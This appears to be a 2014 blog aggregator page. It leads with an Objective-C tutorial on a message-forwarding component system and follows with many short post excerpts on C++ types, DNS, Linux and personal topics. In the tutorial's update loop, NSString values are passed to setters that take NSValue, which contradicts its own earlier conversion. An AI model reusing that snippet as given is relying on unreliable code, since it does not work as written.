In Objective-C we can in fact design the component system using the message forwarding. ( Don’t forget to checkout this older post on message forwarding ).

At the core, we can have a GameObject class like

@interface GameObject : NSObject

- (void)render;
- (void)update:(int)dt;

@end

But this doesn’t implements any of these methods, instead it forwards them to relevant Component classes. We can write our Component classes as

@interface PhysicsComponent : NSObject

- (void)update:(int)dt;

@end

@interface RenderComponent : NSObject

- (void)render;

@end

Our GameObject class gets reduced to

@interface GameObject : NSObject

+ (GameObject *)emptyObject;

- (void)enablePhysicsComponent;
- (void)enableRenderComponent;

@end

Our game loop initializes our GameObjects as

- (void)loadGameObjects
{
    ninja = [GameObject emptyObject];
    [ninja enablePhysicsComponent];
    [ninja enableRenderComponent];

    bonus = [GameObject emptyObject];
    [bonus enablePhysicsComponent];

    background = [GameObject emptyObject];
    [background enableRenderComponent];
}

And updates and render them as

- (void)loopUpdate:(int)dt
{
    [ninja update:dt];
    [bonus update:dt];

}

- (void)loopRender
{
    [background render];
    [ninja render];
}

If you compile at this stage, you will get errors like:

‘No visible @interface for ‘GameObject’ declares the selector ‘update’.
‘No visible @interface for ‘GameObject’ declares the selector ‘render’.

In earlier days the code used to compile just like that. Later it became an warning, which was good for most of the developer who migrated to Objective-C from other compile time bound languages like C++. Objective-C is mainly a runtime bound language, but very few developers appreciate this fact and they complained a lot on why compilers don’t catch their errors early on, or more precisely, why it doesn’t works somewhat like C++. And I understand that feeling, because I too love C++. But, when I’m coding in Objective-C I use it like Objective-C. They are two completely different languages based on completely different ideology.

Moving forward in time, ARC came along. It made using Objective-C runtime behavior impossible. Now the ‘missing’ method declaration became an error. For this experimentation, let’s disable ARC entirely and see how it goes.

OK, good enough. The errors are now warnings. But we can at least move forward with our experiment.

Lets add the message forwarding machinery to our GameObject. Whenever a message is passed to an object in Objective-C, if the message is not implemented by the receiver object, then before throwing an exception the Objective-C runtime offers us an opportunity to forward the message to some other delegate object. The way this is done is quite simple, we just need to implement following methods.

First thing we need to handle is passing a selector availability test.

- (BOOL)respondsToSelector:(SEL)aSelector
{
    if ( [super respondsToSelector:aSelector] ) {
        return YES;
    } else if(renderComponent && [renderComponent respondsToSelector:aSelector]) {
        return YES;
    }  else if(physicsComponent && [physicsComponent respondsToSelector:aSelector]) {
        return YES;
    }
    return NO;
}

Next, we need to handle the method selector signature availability test.

- (NSMethodSignature*)methodSignatureForSelector:(SEL)selector
{
    NSMethodSignature* signature = [super methodSignatureForSelector:selector];
    if (signature) {
        return signature;
    }

    if (renderComponent) {
        signature = [renderComponent methodSignatureForSelector:selector];
        if (signature) {
            return signature;
        }
    }

    if (physicsComponent) {
        signature = [physicsComponent methodSignatureForSelector:selector];
        if (signature) {
            return signature;
        }
    }

    return nil;
}

After all the tests have been cleared, it time to implement the actual message forwarding.

- (void)forwardInvocation:(NSInvocation *)anInvocation
{
    if ([renderComponent respondsToSelector: [anInvocation selector]]) {
        [anInvocation invokeWithTarget:renderComponent];
    } else if ([physicsComponent respondsToSelector: [anInvocation selector]]) {
        [anInvocation invokeWithTarget:physicsComponent];
    } else {
        [super forwardInvocation:anInvocation];
    }
}

If you run the code at this point, you should see update and render getting invoked for the corresponding component objects. So yay, our component system prototype is working!

Now let try to make it more concrete. Let’s work on the RenderComponent first. For testing in each render call, we just draw a Cube on the screen.

The best part about the Component System is that every component focuses on just one thing. For example, the RenderComponent just focuses on rendering. We just need to add methods that are required just for rendering.

Lets pass in the matrix information to the RenderComponent in form of a NSValue.

@interface RenderComponent : NSObject

- (void)setNormalMatrix:(NSValue *)nMat;
- (void)setModelViewProjectionMatrix:(NSValue *)mvpMat;

- (void)render;

@end
@implementation RenderComponent

- (void)setNormalMatrix:(NSValue *)nMat;
{
    [nMat getValue:&_normalMatrix];
}

- (void)setModelViewProjectionMatrix:(NSValue *)mvpMat;
{
    [mvpMat getValue:&_modelViewProjectionMatrix];
}

- (void)render;
{
    glUniformMatrix4fv(uniforms[UNIFORM_MODELVIEWPROJECTION_MATRIX], 1, 0, _modelViewProjectionMatrix.m);
    glUniformMatrix3fv(uniforms[UNIFORM_NORMAL_MATRIX], 1, 0, _normalMatrix.m);

    glDrawArrays(GL_TRIANGLES, 0, 36);
}

@end

The conversion from GLKMatrix to NSValue can be done easily like:

    GLKMatrix3 nMat = GLKMatrix3InvertAndTranspose(GLKMatrix4GetMatrix3(modelViewMatrix), NULL);
    GLKMatrix4 mvpMat = GLKMatrix4Multiply(projectionMatrix, modelViewMatrix);
    [ninja setNormalMatrix:[NSValue value:&nMat withObjCType:@encode(GLKMatrix3)]];
    [ninja setModelViewProjectionMatrix: [NSValue value:&mvpMat withObjCType:@encode(GLKMatrix4)]];

Now using our message forwarding magic, in our main loop we just need to update the GameObjects with rendering enabled like so:

- (void)loopUpdate:(int)dt
{

    float aspect = fabsf(self.view.bounds.size.width / self.view.bounds.size.height);
    GLKMatrix4 projectionMatrix = GLKMatrix4MakePerspective(GLKMathDegreesToRadians(65.0f), aspect, 0.1f, 100.0f);

    GLKMatrix4 baseModelViewMatrix = GLKMatrix4MakeTranslation(0.0f, 0.0f, -4.0f);
    baseModelViewMatrix = GLKMatrix4Rotate(baseModelViewMatrix, _rotation, 0.0f, 1.0f, 0.0f);

    // Compute the model view matrix for the object rendered with GLKit
    GLKMatrix4 modelViewMatrix = GLKMatrix4MakeTranslation(0.0f, 0.0f, -1.5f);
    modelViewMatrix = GLKMatrix4Rotate(modelViewMatrix, _rotation, 1.0f, 1.0f, 1.0f);
    modelViewMatrix = GLKMatrix4Multiply(baseModelViewMatrix, modelViewMatrix);

    [ninja setNormalMatrix: NSStringFromGLKMatrix3(
     GLKMatrix3InvertAndTranspose(GLKMatrix4GetMatrix3(modelViewMatrix), NULL))];
    [ninja setModelViewProjectionMatrix: NSStringFromGLKMatrix4(GLKMatrix4Multiply(projectionMatrix, modelViewMatrix))];

    modelViewMatrix = GLKMatrix4MakeTranslation(0.0f, 0.0f, 1.5f);
    modelViewMatrix = GLKMatrix4Rotate(modelViewMatrix, _rotation, 1.0f, 1.0f, 1.0f);
    modelViewMatrix = GLKMatrix4Multiply(baseModelViewMatrix, modelViewMatrix);

    [background setNormalMatrix: NSStringFromGLKMatrix3(
                                                   GLKMatrix3InvertAndTranspose(GLKMatrix4GetMatrix3(modelViewMatrix), NULL))];
    [background setModelViewProjectionMatrix: NSStringFromGLKMatrix4(GLKMatrix4Multiply(projectionMatrix, modelViewMatrix))];

    [ninja update:dt];
    [bonus update:dt];
}

As you can already tell, how convenient Message Forwarding has made it for us to add our custom code in Components and just directly call them, even though the GameObject class doesn’t directly implements them.

I believe, you can extend this idea to add more Components and rapidly add and use the functionality, while keeping the code logically separated by Components.

The accompanied code is available at https://github.com/chunkyguy/OjbCComponentSystem. Since, this was just a rapid prototype test, and we have disable the ARC, the code could have potential memory leaks. Don’t use the code directly, use it just for reference purposes.

Breakfast of Champions

🦉 olshansky 🦁 — Tue, 05 Aug 2014 03:00:00 GMT

Olshansky's review of Breakfast of Champions by Kurt Vonnegut Jr.

My PC's door

Databases & Life — Tue, 05 Aug 2014 03:00:00 GMT

Today I wanted to use some software I have on CD on a new computers. Obviously modern computers don’t have CD drives. One “mini PC” I have at one of my offices, however, does. My plan was, today, as I’m at this office, to use the CD drive to create an ISO of the disk. (It’s my computer, doesn’t belong to an employer.)

Triggering Bamboo From GitLab: Making CI and VCS servers play together

Joshua Rogers — Mon, 04 Aug 2014 15:00:00 GMT

Build servers and source control are like the peanut-butter and jelly of devops; they just go together. That would make us suspect that it shouldn't be that big of a deal to setup push notifications to trigger builds, right? My GitLab instance shows that it will gladly trigger a build via web hook when it receives a new commit. My Bamboo shows that it will just as cheerfully scan for changes when it gets a web request.

Cedit and Paredit

Alan Pearce — Mon, 04 Aug 2014 10:10:14 GMT

Cedit and paredit for structural editing

Example Web.Config files (3.5 and 4.5)

Daniel Little Dev — Mon, 04 Aug 2014 10:00:35 GMT

These are the default generated Web.Config files from Visual Studio 2013 Update 3. Web.Config for .NET Framework 4.5.1 Web.Config for .NET…

C++: Typesafe programming

Whacky Labs — Sun, 03 Aug 2014 20:58:54 GMT

Lets say you have a function that needs angle in degrees as a parameter.

void ApplyRotation(const float angle)
{
    std::cout << "ApplyRotation: " << angle << std::endl;
}

And an another function that returns a angle in radians

float GetRotation()
{
    return 0.45f;
}

To fill out the missing piece, you write a radians to degree function

float RadiansToDeg(const float angle)
{
    return angle * 180.0f / M_PI;
}

Then some place later, you use the functions like

float angleRadians = GetRotation();
float angleDegrees = RadiansToDeg(angleRadians);
ApplyRotation(angleDegrees);

This is bad. The user of this code, who might be the person next to you, or yourself 10 weeks later, doesn’t knows what does it means by angle in functions ApplyRotation or GetRotation. Is it angle in radians or angle in degrees?

Yes, you can add a comment on top of this function about where is it a angle in degrees and where radians. But, that doesn’t actually stop the user from passing a value in whatever format they will.

The main problem with this piece of code is that it uses a float as a parameter, which is an implementation detail, and doesn’t passes any other information. In C++ we can do better.

Lets create new types.

struct Degrees {
    explicit Degrees(float v) :
    value(v)
    {}
    
    float value;
};

struct Radians {
    explicit Radians(float v) :
    value(v)
    {}
    
    float value;
};

And update the functions as

Radians GetRotation()
{
    return Radians(0.45f);
}

void ApplyRotation(const Degrees angle)
{
    std::cout << "ApplyRotation: " << angle.value << std::endl;
}

Degrees RadiansToDeg(const Radians angle)
{
    return Degrees(angle.value * 180.0f / M_PI);
}

Now if we try to call it with following it just works.

Radians angleRadians = GetRotation();
Degrees angleDegrees = RadiansToDeg(angleRadians);
ApplyRotation(angleDegrees);

Notice that, if we don’t specify the constructors as explicit the compiler will implicitly converts the value from float to corresponding types. Which isn’t what we want.

This is already starting to look good. The code is self documenting, and the user will have difficult times, if they try to use if differently than intended as most of the error checking is done by the compiler.

Another benefit is that, now we can have a member function that does the conversion like

struct Radians {
    explicit Radians(float v) :
    value(v)
    {}

    Degrees ToDegrees() const
    {
        return Degrees(value * 180.0f / M_PI);
    }

    float value;
};

So, your calling code reduces to

Radians angle = GetRotation();
ApplyRotation(angle.ToDegrees());

As you can see, we no longer have variable names that tell the type information, but the type that tells about itself.

On the final note we can make passing from value to passing as a const reference

void ApplyRotation(const Degrees &angle)
{
    std::cout << "ApplyRotation: " << angle.value << std::endl;
}

This does two things. Firstly, no more copies when data gets passed around and secondly we can pass a temporary value as guaranteed by the C++ standard, like so

ApplyRotation(GetRotation().ToDegrees());
ApplyRotation(Degrees(45.0f));

2014-08-03

ho.dges.online — Sun, 03 Aug 2014 03:00:00 GMT

Commonwealth Games cycling event in central Glasgow.

Now HTTPS Enabled

Joshua Rogers — Sat, 02 Aug 2014 15:00:00 GMT

It's not Monday, so why am I posting something new? Just a quick announcement: I've migrated joshuarogers.net from http to https. http://joshuarogers.net now just returns a 302 Redirect to the appropriate https page.

What was the first project on GitHub?

Nemo's Home — Sat, 02 Aug 2014 03:00:00 GMT

Note: This is cross-posted from Quora where I wrote this answer initially.

The first project on GitHub was grit. How do I know this? Just some clever use of the search and API.

Here’s a GitHub search to see the first 10 projects that were created on GitHub. The search uses the created keyword, and searches for projects created before 15 Jan 2008.

They are (in order of creation) (numeric id of repo in brackets):

mojombo/grit (1)

Grit gives you object oriented read/write access to Git repositories via Ruby. Deprecated in favor of libgit2/rugged
wycats/merb-core (26)

Merb Core: All you need. None you don’t. Merb was an early ruby framework that was merged to Rails No longer maintained.
rubinius/rubinius (27)

Rubinius, the Ruby Environment Still under active development
mojombo/god (28)

God is an easy to configure, easy to extend monitoring framework written in Ruby. Still actively maintained, and use by GitHub internally as well, I think
vanpelt/jsawesome(29)

JSAwesome provides a powerful JSON based DSL for creating interactive forms. Its last update was in 2008
wycats/jspec (31)

A JavaScript BDD Testing Library No longer maintained
defunkt/exception_logger (35)

The Exception Logger logs your Rails exceptions in the database and provides a funky web interface to manage them. No longer maintained>
defunkt/ambition (36)
technoweenie/restful-authentication (42)

Generates common user authentication code for Rails/Merb, with a full test/unit and rspec suite and optional Acts as State Machine support built-in.Maintained till Aug 2011
technoweenie/attachment_fu (43)

Treat an ActiveRecord model as a file attachment, storing its patch, size, content type, etc.

I’m sure the id from 2-25 would be taken up by many of the internal GitHub projects, such as github/github. To get the numeric id of a repo, visit https://api.github.com/repos/mojombo/grit and change the URL accordingly.

Adulting

Zac Szewczyk — Sat, 02 Aug 2014 02:06:01 GMT

Excellent article from Carl Holscher on what it actually means to be an adult. At nineteen and preparing to head off to college, as well as greater things hopefully down the road, I found this piece particularly interesting and profound.

Permalink.

Divergent

🦉 olshansky 🦁 — Fri, 01 Aug 2014 19:20:24 GMT

Olshansky's review of Divergent

Screenshot Saturday 183

Evan Todd — Fri, 01 Aug 2014 19:15:16 GMT

I hit a milestone today.

Three of the four levels so far in Lemma (Rain, Dawn, and Forest) have undergone at least one massive redesign in their short lifetimes. This week I finally gave the same treatment to the fourth level, Monolith. It is aptly named. Let me try to convey just how monolithic this level is now.

This is a perfect example of my patent-pending Design by Trial and Error™ process.

Unlocking locked files in Windows

Daniel Little Dev — Fri, 01 Aug 2014 12:21:35 GMT

Every developer has run into this issue at least once. There are a few different tools you can use to find out what process is locking a…

A Dying Breed

Zac Szewczyk — Fri, 01 Aug 2014 09:59:05 GMT

As I sit down to begin writing this, I lay in a hammock strung between two trees. It is old, this hammock: the previous owners replaced an even older one with it as a small gift when my family purchased this house some three years ago now, and despite the occasional frayed rope, we have felt no need to replace it yet. Outside of the occasional creak and a fair bit of moss that has worked its way into the fibrous sinews that crisscross seemingly haphazardly below my feet, down under my back, and up behind my head, this woven sling works just as well as it did the day I first sat upon it. More importantly though, it has become a fixture as a part of this small slice of nature as the trees that form the canopy above me.

Permalink.

PikoPy: A python package for working with a Piko Inverter from Kostal

Tafkas Blog — Fri, 01 Aug 2014 03:00:00 GMT

The first step of my plan, building a Raspberry Pi based photovoltaic monitoring solution, is finished. I created a python package that works with the Kostal Piko 5.5 inverter (and theoretically should work with other Kostal inverters as well) and offers a clean interface for accessing the data: import pikopy #create a new piko instance p = Piko('host', 'username', 'password') #get current power print p.get_current_power() #get voltage from string 1 print p.

On Working From Home and Running a Business

Zac Szewczyk — Thu, 31 Jul 2014 23:23:28 GMT

Great primer from Shawn Blanc for anyone hoping to take their work home and go indie. Someday, I hope I will have cause to return to this.

Permalink.

Leave of Absence

Zac Szewczyk — Thu, 31 Jul 2014 19:51:30 GMT

The best way to attain success is to show up every single day and work hard, or so the saying goes; in terms of this site and my goal of growing and fostering a strong readership, this meant putting some nontrivial amount of time into reading and writing every single day in the hopes that I could one day make this more than a hobby. For quite some time now, I have done well to follow this advice, and doing so has led to rather spectacular results: although this is not the time nor place to delve into specifics, suffice it to say that this has been a fantastic year so far. Yet, despite this track record, I am about to break this cardinal rule because for the next two weeks starting Saturday, April 2nd, I will neither read nor write a single thing.

Permalink.

Why We're Obsessed with the 10,000-Hour Rule

Zac Szewczyk — Thu, 31 Jul 2014 19:27:19 GMT

Another great piece from the surprisingly diverse site Outside Online, this time on the hallowed 10,000 hour rule. Especially within the circles I travel of writers, programmers, and general creative types, this is a very popular way for many to prescribe greater dedication and hard work to those looking to attain some modicum of success. However, even in the face of these new findings, I believe the underlying sentiment behind these suggestions prompted by this veneered rule remain valid: there is still something to be said for showing up every day, and in the creative professions, raw talent is but a small and potentially insignificant ingredient leading to eventual success.

Permalink.

Screenhero - This is your Business Plan

Brightball Articles — Thu, 31 Jul 2014 15:05:00 GMT

I got a newsletter last night from Screenhero announcing version 1.0. The problem is that in the announcement, they also announced a change in pricing that will probably kill a lot of what they have going for them. And I hate that. I REALLY hate that. I've worked for companies where we had to invest a lot of time cleaning up bad decisions, so maybe it bothers me a little more. I really like Screenhero though, so I'm going to try to help. I wasn't doing a good job of explaining myself to them via Twitter, so this should hopefully be a better explanation of what I was trying to communicate.

No Time to Think

Zac Szewczyk — Thu, 31 Jul 2014 09:57:36 GMT

Discovered thanks to Dave Pell’s excellent newsletter The Next Draft under the title “Just Look at Yourself”, this is a very fascinating realization that immediately resonated with me: perhaps one of the reasons so many people spend such vast amounts of time engrossed in one device or another is not necessarily because Candy Crush is so addicting and Facebook makes them feel happy — or sad, as the case may be — , but rather because we have developed an intense dislike of introspection and the discomforts it almost invariably brings along with it. Reading that, it felt as if a puzzle piece had clicked into place: “Yes, it all makes sense.”

I wake up every morning, and within fifteen minutes of getting out of bed I walk into the gym where I spend the next hour working out. After that, I have between thirty minutes and an hour before I have to leave for work, during which I prepare for my day and, if I have time, read and do a little bit of writing. As I find it difficult to read or write while listening to music, I generally keep iTunes closed when engaged in one of those two activities; otherwise though, I keep something playing almost constantly.

Every day at work, I keep one earbud in at all times through which I listen to podcasts for nearly eight hours every day. Painting can be a quiet, lonely, and somewhat tedious task at times; this helps me stay focused and engaged. Both to and from work at the beginning and end of the day, I continue listening to those podcasts in the car until I get home, where the same rule set that determines what I listen to in the morning once again informs whether I listen to a song, podcast, or merely the sound of my finders tapping away at the keyboard. Regardless though, here once again, just as I do throughout the rest of my day, I permit myself no silence whatsoever. Even when lying in bed at the end of the day, I turn to a past episode of one of my favorite podcasts to help put me to sleep.

I routinely go an entire day without any time for quiet introspection. While I once considered this simply an efficient use of my time — why drive in silence when I can listen to a podcast or two? — , I now recognize this common happenstance as the habit it has become: filling every available second with an activity has ceased to serve as a means to the end of greater productivity in a given twenty-four hour timespan, and now functions merely as an excuse for me to avoid any time alone with my thoughts.

As for the future, I cannot say for sure where I will go from here. This is a very interesting realization, and also a potentially very important one as well. For now though, I plan to start by sitting alone with my thoughts before bed; in a week or two, who knows?

Permalink.

New snail shell patterns

Liza Shulyayeva — Wed, 30 Jul 2014 19:33:09 GMT

This post originally started out like this:

I’ve made a few more shell patterns for the snails!

I then started to descibe how the basic genetics work in the simulation (limited to pattern color). While doing so, I began to realize that it is all wrong. I went back and ripped apart some of the breeding system to get it to a slightly more realistic state. Needless to say it’s still not really correct, but at least it’s a bit closer to what could be some sort of reality. Now I have to go back and clean everything up/rewrite it.

A Miserable, Beautiful Siberian Adventure

Zac Szewczyk — Wed, 30 Jul 2014 12:14:11 GMT

Fascinating story by Hampton Sides for Outside Online. As I have said before, Russia has always held a great deal of interest for me; with this article, Hampton lifts that near-impermeable veil — even if only a little bit.

Permalink.

50 Cent Is My Life Coach

Zac Szewczyk — Wed, 30 Jul 2014 09:46:23 GMT

When Adam and Nathan talked about this article during episode seventeen of their podcast Five More Things, 50 Cent is Actually Brilliant, I recognized its potential value but dismissed it as largely uninteresting, and sent it away to Instapaper. Now, however, a few weeks later, I wish I had sat down and read it as soon as it came to my attention. My only complaint is that I wish it were longer: 50 Cent had some fantastic advice and shared a number of very interesting insights that I wish GQ had given Zach more time to expand upon, and perhaps even search for more of; fascinating and highly-recommended.

Permalink.

$150 Custom-Made Standing Desk

Josh Thompson — Wed, 30 Jul 2014 03:00:00 GMT

My desk/our kitchen table

Standing desks are all the rage. (I’m still waiting for walking desks to catch up.)

Kristi and I outfitted our space with reclaimed furniture from Craigslist (also known as “cheap”), so we wanted to keep it going with a desk. My setup at our kitchen table was less than ideal, and we’d been wanting a desk for me for a while. We saw that others have commissioned desks with great success, so we gave it a shot.

A few emails and $150 later, I’ve got a standing desk. There are guides for building $25 standing desks, but since my work station is a part of our living room, we wanted something that looked OK.

One Craigslist add later, we had a desk. We paid Drew Morris $150 for the desk, and are thrilled. (If you’re in the Denver area, and want a standing desk, reach out to Drew.Morris82( )yahoo.

I’ve been using the desk for only half a day, so I don’t have much to say, other than I really like it so far. More information to come soon!

No longer on the kitchen table!

Laravel migration done

Liza Shulyayeva — Tue, 29 Jul 2014 16:44:07 GMT

The first commit auto-tweeted from the @gastropoda_ twitter account yesterday was actually the last commit dedicated to the Laravel port reimplementation:

Infrared Iceland

Zac Szewczyk — Tue, 29 Jul 2014 10:05:08 GMT

Beautiful pictures from a remarkable place; I would love to take a long trip out here someday.

Permalink.

Feedback Loop

Ben E. C. Boyter — Tue, 29 Jul 2014 02:37:36 GMT

About a month ago searchcode.com managed to sit on the front page of Hacker News (HN) for most of a day and produced a lot of useful feedback for me to act on. You can read the full details here searchcode: A source code search engine

Between the HN feedback, some I received via tweets and from republished articles I got a list of things I needed to work on.

The first and main change requested was over the way searchcode was matching results. It was by default looking for exact matches. Hence if you searched for something like “mongodb find” it would look for that exact text. It was requested by quite a few people to change this. The expectation was that the matching would work like Githubs. This has now taken effect. A sample search that came up is included below with the new logic,

Simple APRS KK6NXK

Fabrice Aneche — Tue, 29 Jul 2014 00:36:59 GMT

APRS is a tactical digital communications system used between amateurs radio, to exchange positions & messages, here I blog my experience decoding/encoding APRS with a small Arduino as it may help some of you too. Some transceivers are incorporating this functionalities but most of them don’t, a lot of new technicians start with cheap Baofeng radios (30$) which don’t provide advanced functionnalities but here is a way to solve that.

Getting to Know Fiddler: Part II: Simulate client side requests without needing the client side

Joshua Rogers — Mon, 28 Jul 2014 15:00:00 GMT

Last week we started looking at the web proxy Fiddler, or the “Fiddler Web Debugger” as it unfortunately bills itself. While the name is accurate, I can't help but feel that it is a bit of an understatement, much like calling the Hulk “somewhat tempermental”1, or MacGyver “good at assembling things”. Sure, Fiddler is a debugger, but it's less of a simple tool and more the web equivalent of a swiss army knife that contains an entire Home Depot2.

Economic Power in the Age of Abundance

Zac Szewczyk — Mon, 28 Jul 2014 10:11:43 GMT

A more apropos title, I feel, might read something along the lines of “Entitlement in the Age of Abundance”. Between that, and Ben’s actual title, I’m sure you can get a fair idea as to the subject matter of his article. And his closing point: the cliched “you never know what you’ve got ’till it’s gone”. I find it remarkable how many love to hate companies like Google, yet have no problem crawling back to them when they finally realize how instrumental the “evil overlord” was to their daily operations. Whether an individual whining about the company’s privacy practices or, as is the case here, a publisher acting on a misplaced sense of entitlement, the outcome is the same.

Stick to your high-brow morals if you must, but if you must, actually stick to them.

Permalink.

The Precipice

Zac Szewczyk — Sun, 27 Jul 2014 22:31:06 GMT

It’s no secret that I harbor a strong dislike of The Verge: perpetually vying with public radio for the title of my most hated news institution, I make no bones about sharing this disgust with others. And so, because of that, when the news first broke that Josh Topolsky — a writer I have no great love for — was leaving Vox for Bloomberg, I barely took notice; however, a lot of other people have, and this has since become quite the news story for many. To each their own, I suppose.

Until this morning, I had not planned to write anything about this event: I just don’t care. But then Daniel Ignacio sent me a link to a conversation between him and Mathew Conto, and I just couldn’t resist sharing the link here: this is everything you need to know about The Verge and Josh Topolsky’s move both. Welcome to The Precipice.

Permalink.

This Week in Podcasts

Zac Szewczyk — Sun, 27 Jul 2014 12:12:41 GMT

This week, thanks to Carl Holscher and Daniel Ignacio, I have discovered two great new podcasts. Alongside these two shows, I once again present my list of the best podcasts I have had the privilege to hear over the past seven days. These are the best of the best, folks, and as such I hope you will spend some time checkout out each and every one of them. I promise: it will be worth your time.

Permalink.

Tiny Habits take 2

Josh Thompson — Sun, 27 Jul 2014 03:00:00 GMT

Dr. BJ Fogg runs Tiny Habits, a one-week course on building new habits. Since most of what we do is governed by habits, it is reasonable to study how to build new ones, or replace bad ones.

I have done his course before, and had success. I have been reading Freewith Kristi and some good friends of ours, and want to work more small but substantive things into my life. I am starting small, with the recommended item of flossing being Tiny Habit #1. I want to learn the methodology before trying too many habits of my own.

Habit #2 is “Mindful Breathing”, a la Google Employee Chade Meng Tan’s book Search Inside Yourself. He writes about Emotional Intelligence. Worth the read.

To Forgive by Mestup Poems

ho.dges.online — Sun, 27 Jul 2014 03:00:00 GMT

To forgive
Is not to forget.

To forgive
Is really to remember
That nobody is perfect
That each of us stumbles
When we want so much to stay upright
That each of us says things
We wish we had never said
That we can all forget that love
Is more important than being right.

To forgive
Is really to remember
That we are so much more
Than our mistakes
That we are often more kind and caring
That accepting another’s flaws
Can help us accept our own.

How does the sdslabs.co.in domain name work?

Nemo's Home — Sun, 27 Jul 2014 03:00:00 GMT

A very common asked question is about our domain name and how does it work locally. When we launched filepanda, and our preliminary homepage a long time ago, we had been using the easy to remember IP address http://192.168.208.208.

Now, however we are using the domain name sdslabs.co.in for all our services, including DC. To understand how this works, you will have to understand how the name resolution of a domain name takes place.

The Domain Name System (DNS) is a hierarchical distributed naming system for computers, services, or any resource connected to the Internet or a private network. It associates various information with domain names assigned to each of the participating entities.

- Wikipedia

DNS is basically a service which resolves domain names to IP addresses. If you own a domain name, you can point it to wherever you want. This is usually done in the administration panel of your hosting services. We have setup multiple domains on our nameserver (mitsu.in as of the moment) to point to the IP address 192.168.208.x.

For instance sdslabs.co.in points to 192.168.208.208, echo.sdslabs.co.in points to 192.168.208.204 and so on. This is done via updating something called A records (this is the part of resolution which transaltes to IPv4 addresses).

The benifits of having such a system in place are enormous:

Users don’t have to remember IP addresses, and can easily remember the site address.
We can move around services, applications over different machines, and it will only take a single update to change the name resolutions
We could add alternative fallback servers easily (by having multiple A record entries) for a domain. We could even use this to point sdslabs.co.in domain to something that is hosted online, for instance.
We can have catchy, and simple to remember urls for eg https://sdslabs.co.in/login, and https://sdslabs.co.in/logout

Also, we are running all our services on https, which is not dependent upon the visibility of the website. Even though the site is hosted locally, the process of certificate signing remains exactly the same as any other site. Once we aquire a SSL certificate and attach it to our web-server, the visibility of the domain does not matter to the browser at all.

Note: For the benifit of those not in IIT Roorkee, we are running multiple web-service on the domain sdslabs.co.in, which is only served locally, as it resolves to a local IP address (192.168.208.208)

Caveat: Several DNS servers wil block RFC1913 responses by default (basically any DNS response in the private IP ranges). This is usually disabled in the intranet scenarios, but something to keep in mind if you’re looking to use this solution.

A battle with racing

Liza Shulyayeva — Sat, 26 Jul 2014 19:27:05 GMT

I’m still on the Laravel migration. It’s going pretty well, except for last night. Last night I was porting racing.

Leading Snowflakes by Oren Ellenbogen - A Pragmatic Book on Software Team Leadership I Wish I Read Sooner

Fred Wu (@fredwu) — Sat, 26 Jul 2014 18:49:00 GMT

Packages I do use

Playground — Sat, 26 Jul 2014 03:00:00 GMT

Thinking of installing a new Distro (Deepin, because of the lovely looks of this relatively new product from China) I refrained myself in apathy of installing all the packages and softwares again in the new Distro. Also, I don’t remember them all. So, now at 3:00 AM in the morning I am documenting all the packages I use. This list will keep on being modified in the future (yeah, yeah, I know you knew that).

Screenshot Saturday 182

Evan Todd — Sat, 26 Jul 2014 02:35:20 GMT

What's that you say? You didn't even notice the absence of Screenshot Saturday last week? How convenient. Let's pretend it never happened. Or rather, pretend that it did. Whatever.

MGDS was a huge success! There was almost always a line to play the game, and I got a ton of useful feedback. Here are some pictures:

Most of the feedback was related to level design. I came home with a phone full of "todo" items. Here are some screenshots of overhauled or brand new sections that resulted:

Exploiting XPath injection vulnerabilities with XCat

Tom Forbes — Fri, 25 Jul 2014 20:19:03 GMT

I just released XCat 0.7 , the companion tool to this paper. XCat is a command line tool to automate the exploitation of Blind XPath Injection Vulnerabilities , utilizing some pretty cool techniques. The most interesting technique is that xcat can automate out of band attacks to massively speed up e...

How I See Money Differently

Zac Szewczyk — Fri, 25 Jul 2014 09:42:03 GMT

Sam Dogen had another thought-provoking post over at Financial Samurai recently, this time looking at the very interesting difference between the way that Americans and Europeans in particular view money. I encourage you to read the entire thing: How Europeans See Money Differently From Americans. Most interesting out of this entire piece, though, and definitely the most impactful statement for me, was that of his conclusion: “Remember that money is only a means to an end. What is your end?”

Permalink.

Taking the Plunge with Colemak

Josh Thompson — Fri, 25 Jul 2014 03:00:00 GMT

This entire post is written in Colemak. I am aiming to write at least 100 words, and this is certainly harder than copying someone else’s words.

I have completed a few hours of dedicated practice, and it is quite possible that I am jumping the gun, and will quickly revert to QWERTY. I intend to finish work tomorrow in QWERTY, and then spend the weekend practicing hard, and stay in Colemak all next week.

I will be honest. This seems like I am biting off more than I can chew. Don’t laugh, but from when I started typing to now, almost ten minutes have elapsed. I need to double my speed (and accuracy) by Monday if I want to have any hope of doing this.

Protip: If changing keyboard layouts, change your password to just numbers and symbols. It is hard to get passwords right when you cannot rely on muscle memory orsight. And embarrassing when you just can’t get it…

This chicken was delicious!

Focus: One Thing at a Time

Josh Thompson — Fri, 25 Jul 2014 03:00:00 GMT

The pressure to be working on more than one thing at a time is enormous. This pressure comes from no one but me. And before I dismiss this tendency as “proof that I work too hard”, I must take another tact. It comes from a need to satisfy my ego. It is much easier to say “I did not finish that because I got distracted by another project” than “I did not finish because I gave up” or “it was too hard.” My enthusiasm carries me through the opening stages of any project, but quickly wanes. Now is what separates the men from the boys.

There is a lot on The List. Nothing of substance will be accomplished without focus.

Along the lines of focus: this post was written in Colemak. I did not time it, but it was much less frustrating than yesterday.

Today’s Afternoon Workstation

Setting up an AWS EC2 instance for Gastropoda

Liza Shulyayeva — Thu, 24 Jul 2014 23:42:23 GMT

It all started with a cool little PHP script that someone posted on /r/gamedev this morning to publish completed Trello tasks easily to a change log of sorts.

One-Way Ticket to Ride

Zac Szewczyk — Thu, 24 Jul 2014 22:49:34 GMT

Worth linking to again, courtesy of Dave Pell’s The Next Draft this time around on the forty-fifth anniversary of Apollo 11’s historic mission: the speech President Nixon plan to give in the event of a moon disaster. Incredible, and remarkable chilling:

“Fate has ordained that the men who went to the moon to explore in peace will stay on the moon to rest in peace.”

Permalink.

Shrinking the (LVM) log-partition on Linux

zufallsheld — Thu, 24 Jul 2014 22:25:50 GMT

Enlarging an LVM partition on a linux machine is trivial. You only need one command to do it and it can even be done when the partition is mounted.

lvresize -r -L +20G /vg1/lvm1

This command enlarges the LVM lvm1 to 20GB. Assuming you use an ext, ReiserFS or …

Hybrid management of FreeIPA types with Puppet

The Technical Blog of James on purpleidea.com — Thu, 24 Jul 2014 03:41:08 GMT

(Note: this hybrid management technique is being demonstrated in the puppet-ipa module for FreeIPA, but the idea could be used for other modules and scenarios too. See below for some use cases…)

The error message that puppet hackers are probably most familiar is:

Error: Duplicate declaration: Thing[/foo/bar] is already declared in file /tmp/baz.pp:2; 
